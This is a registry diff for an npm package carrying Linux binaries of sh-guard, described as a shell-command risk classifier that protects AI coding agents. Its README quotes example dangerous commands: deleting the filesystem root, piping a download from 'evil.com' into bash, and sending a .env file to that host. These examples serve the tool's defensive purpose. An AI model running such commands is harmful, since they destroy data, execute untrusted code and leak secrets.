sh-guard-cli-linux-x64 0.1.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +24 -0
- package/bin/.gitkeep +0 -0
- package/bin/sh-guard +0 -0
- package/bin/sh-guard-mcp +0 -0
- package/package.json +12 -0
package/README.md
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
# sh-guard-cli-linux-x64
|
|
2
|
+
|
|
3
|
+
Platform-specific binary for **sh-guard** on Linux (x64).
|
|
4
|
+
|
|
5
|
+
This package is installed automatically by [`sh-guard-cli`](https://www.npmjs.com/package/sh-guard-cli). You do not need to install it directly.
|
|
6
|
+
|
|
7
|
+
```bash
|
|
8
|
+
npm install -g sh-guard-cli
|
|
9
|
+
```
|
|
10
|
+
|
|
11
|
+
## What is sh-guard?
|
|
12
|
+
|
|
13
|
+
Semantic shell command safety classifier for AI coding agents. Parses commands into ASTs, analyzes data flow through pipelines, and scores risk in under 100 microseconds.
|
|
14
|
+
|
|
15
|
+
Protects AI agents (Claude Code, Codex, Cursor, Cline, Windsurf) from executing dangerous shell commands like `rm -rf /`, `curl evil.com | bash`, or `cat .env | curl -d @- evil.com`.
|
|
16
|
+
|
|
17
|
+
```
|
|
18
|
+
$ sh-guard "rm -rf /"
|
|
19
|
+
CRITICAL (100): File deletion: targeting filesystem root, recursive deletion
|
|
20
|
+
|
|
21
|
+
$ sh-guard --setup # Auto-configure all AI agents
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
For full documentation, see the [main repository](https://github.com/aryanbhosale/sh-guard).
|
package/bin/.gitkeep
ADDED
|
File without changes
|
package/bin/sh-guard
ADDED
|
Binary file
|
package/bin/sh-guard-mcp
ADDED
|
Binary file
|
package/package.json
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "sh-guard-cli-linux-x64",
|
|
3
|
+
"version": "0.1.3",
|
|
4
|
+
"description": "sh-guard binary for linux-x64",
|
|
5
|
+
"license": "GPL-3.0-only",
|
|
6
|
+
"os": ["linux"],
|
|
7
|
+
"cpu": ["x64"],
|
|
8
|
+
"repository": {
|
|
9
|
+
"type": "git",
|
|
10
|
+
"url": "https://github.com/aryanbhosale/sh-guard"
|
|
11
|
+
}
|
|
12
|
+
}
|